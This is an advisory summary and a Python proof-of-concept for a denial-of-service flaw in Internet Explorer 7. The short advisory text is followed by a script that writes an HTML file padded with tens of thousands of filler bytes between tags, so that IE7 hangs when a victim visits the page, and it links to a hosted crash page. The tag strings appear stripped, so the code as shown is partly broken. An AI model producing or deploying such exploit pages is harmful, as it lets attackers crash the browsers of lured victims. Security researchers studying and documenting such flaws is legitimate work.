source: https://www.securityfocus.com/bid/23178/info Microsoft Internet Explorer is prone to a denial-of-service vulnerability because the application fails to handle exceptional conditions. This issue is triggered when an attacker entices a victim user to visit a malicious website. Remote attackers may exploit this issue to crash Internet Explorer, effectively denying service to legitimate users. This issue affects Internet Explorer version 7. # usr/bin/python print "-------------------------------------------------------------------------" print " Internet Explorer 7.0.5730.11 Denial of Service" print " author: shinnai" print " mail: shinnai[at]autistici[dot]org" print " site: http://shinnai.altervista.org\n" print " For convenience I post up a script in python that create a .html file" print " You can open it locally, upload and browse it or directely browse here:\n" print " http://www.shinnai.altervista.org/ie_dos.html\n" print " About 60 seconds and IE7 stops to answer :)" print "-------------------------------------------------------------------------" tagHtml = "" tagHtmlC = "" tagHead = "" tagHeadC = "" tagTitle = "" tagTitleC = "" buff= "\x90" * 80000 boom = tagHtml + buff + tagHead + buff + tagTitle + buff + tagTitleC + tagHeadC + tagHtmlC try: fileOut = open('ie_dos.html','w') fileOut.write(boom) fileOut.close() print "\nFILE CREATED!\n'NJOY IT...\n" except: print "\nUNABLE TO CREATE FILE!\n"